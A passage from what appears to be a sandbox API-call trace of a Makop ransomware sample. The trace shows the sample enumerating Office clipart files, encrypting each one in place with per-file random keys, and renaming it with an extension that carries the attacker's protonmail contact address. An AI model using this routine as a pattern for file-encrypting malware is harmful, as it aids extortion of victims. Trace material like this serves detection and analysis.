1 [0105.978] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0105.978] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0105.978] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0105.978] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0105.978] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0105.978] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1d9f, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1d9f, lpOverlapped=0x0) returned 1 [0105.980] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1da0, dwBufLen=0x1da0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1da0) returned 1 [0105.980] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0105.980] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1da0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1da0, lpOverlapped=0x0) returned 1 [0105.980] CryptDestroyKey (hKey=0x48c7128) returned 1 [0105.980] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1e74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0105.980] SetEndOfFile (hFile=0xf0) returned 1 [0105.988] GetProcessHeap () returned 0x48a0000 [0105.988] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0105.988] GetProcessHeap () returned 0x48a0000 [0105.988] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0105.988] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0105.988] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00161_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00161_.gif.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0105.990] CloseHandle (hObject=0xf0) returned 1 [0105.990] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x65e47e00, ftCreationTime.dwHighDateTime=0x1bd4e52, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x65e47e00, ftLastWriteTime.dwHighDateTime=0x1bd4e52, nFileSizeHigh=0x0, nFileSizeLow=0x1b48, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00163_.GIF", cAlternateFileName="")) returned 1 [0105.990] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 63 [0105.990] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00163_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0105.992] GetProcessHeap () returned 0x48a0000 [0105.992] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0105.992] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0105.992] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0105.993] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0105.998] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0105.998] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0105.998] GetProcessHeap () returned 0x48a0000 [0105.998] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0105.998] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0105.998] CryptDestroyKey (hKey=0x48c7128) returned 1 [0105.998] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0105.998] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0105.998] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0105.998] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0105.999] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0105.999] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0105.999] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0105.999] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0105.999] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0105.999] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1b48, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1b48, lpOverlapped=0x0) returned 1 [0106.008] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1b50, dwBufLen=0x1b50 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1b50) returned 1 [0106.008] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0106.008] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1b50, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1b50, lpOverlapped=0x0) returned 1 [0106.009] CryptDestroyKey (hKey=0x48c7128) returned 1 [0106.009] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1c24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0106.009] SetEndOfFile (hFile=0xf0) returned 1 [0106.016] GetProcessHeap () returned 0x48a0000 [0106.016] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0106.016] GetProcessHeap () returned 0x48a0000 [0106.016] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0106.016] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0106.016] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00163_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00163_.gif.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0106.017] CloseHandle (hObject=0xf0) returned 1 [0106.018] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d4d0800, ftCreationTime.dwHighDateTime=0x1bd4c12, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8d4d0800, ftLastWriteTime.dwHighDateTime=0x1bd4c12, nFileSizeHigh=0x0, nFileSizeLow=0x33c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00164_.GIF", cAlternateFileName="")) returned 1 [0106.018] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 63 [0106.018] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00164_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0106.018] GetProcessHeap () returned 0x48a0000 [0106.018] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0106.018] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0106.018] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0106.019] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xa, lpOverlapped=0x0) returned 1 [0106.023] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0106.023] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0106.023] GetProcessHeap () returned 0x48a0000 [0106.023] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0106.023] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0106.023] CryptDestroyKey (hKey=0x48c7128) returned 1 [0106.023] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0106.023] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0106.024] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0106.024] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0106.024] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0106.024] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0106.024] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0106.024] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0106.024] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0106.025] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x33c6, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x33c6, lpOverlapped=0x0) returned 1 [0106.026] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x33d0, dwBufLen=0x33d0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x33d0) returned 1 [0106.026] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0106.027] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x33d0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x33d0, lpOverlapped=0x0) returned 1 [0106.027] CryptDestroyKey (hKey=0x48c7128) returned 1 [0106.027] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x34a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0106.027] SetEndOfFile (hFile=0xf0) returned 1 [0106.033] GetProcessHeap () returned 0x48a0000 [0106.033] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0106.033] GetProcessHeap () returned 0x48a0000 [0106.033] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0106.034] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0106.034] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00164_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00164_.gif.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0106.035] CloseHandle (hObject=0xf0) returned 1 [0106.035] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89b98100, ftCreationTime.dwHighDateTime=0x1bd4c12, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x89b98100, ftLastWriteTime.dwHighDateTime=0x1bd4c12, nFileSizeHigh=0x0, nFileSizeLow=0x2186, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00165_.GIF", cAlternateFileName="")) returned 1 [0106.035] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 63 [0106.035] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00165_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0106.037] GetProcessHeap () returned 0x48a0000 [0106.037] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0106.037] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0106.037] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0106.037] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xa, lpOverlapped=0x0) returned 1 [0106.042] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0106.042] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0106.042] GetProcessHeap () returned 0x48a0000 [0106.042] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0106.042] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0106.042] CryptDestroyKey (hKey=0x48c7128) returned 1 [0106.042] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0106.042] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0106.042] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0106.042] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0106.042] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0106.043] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0106.043] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0106.043] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0106.043] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0106.043] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x2186, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x2186, lpOverlapped=0x0) returned 1 [0106.045] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2190, dwBufLen=0x2190 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2190) returned 1 [0106.045] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0106.045] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x2190, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x2190, lpOverlapped=0x0) returned 1 [0106.045] CryptDestroyKey (hKey=0x48c7128) returned 1 [0106.046] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x2264, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0106.046] SetEndOfFile (hFile=0xf0) returned 1 [0106.053] GetProcessHeap () returned 0x48a0000 [0106.053] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0106.053] GetProcessHeap () returned 0x48a0000 [0106.053] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0106.053] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0106.053] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00165_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00165_.gif.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0106.054] CloseHandle (hObject=0xf0) returned 1 [0106.055] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81614600, ftCreationTime.dwHighDateTime=0x1bd4c12, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x81614600, ftLastWriteTime.dwHighDateTime=0x1bd4c12, nFileSizeHigh=0x0, nFileSizeLow=0x131e, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00167_.GIF", cAlternateFileName="")) returned 1 [0106.055] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 63 [0106.055] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00167_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0106.055] GetProcessHeap () returned 0x48a0000 [0106.056] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0106.056] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0106.056] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0106.056] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x2, lpOverlapped=0x0) returned 1 [0106.060] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0106.060] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0106.060] GetProcessHeap () returned 0x48a0000 [0106.060] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0106.061] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0106.061] CryptDestroyKey (hKey=0x48c7128) returned 1 [0106.061] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0106.061] WriteFile (in: 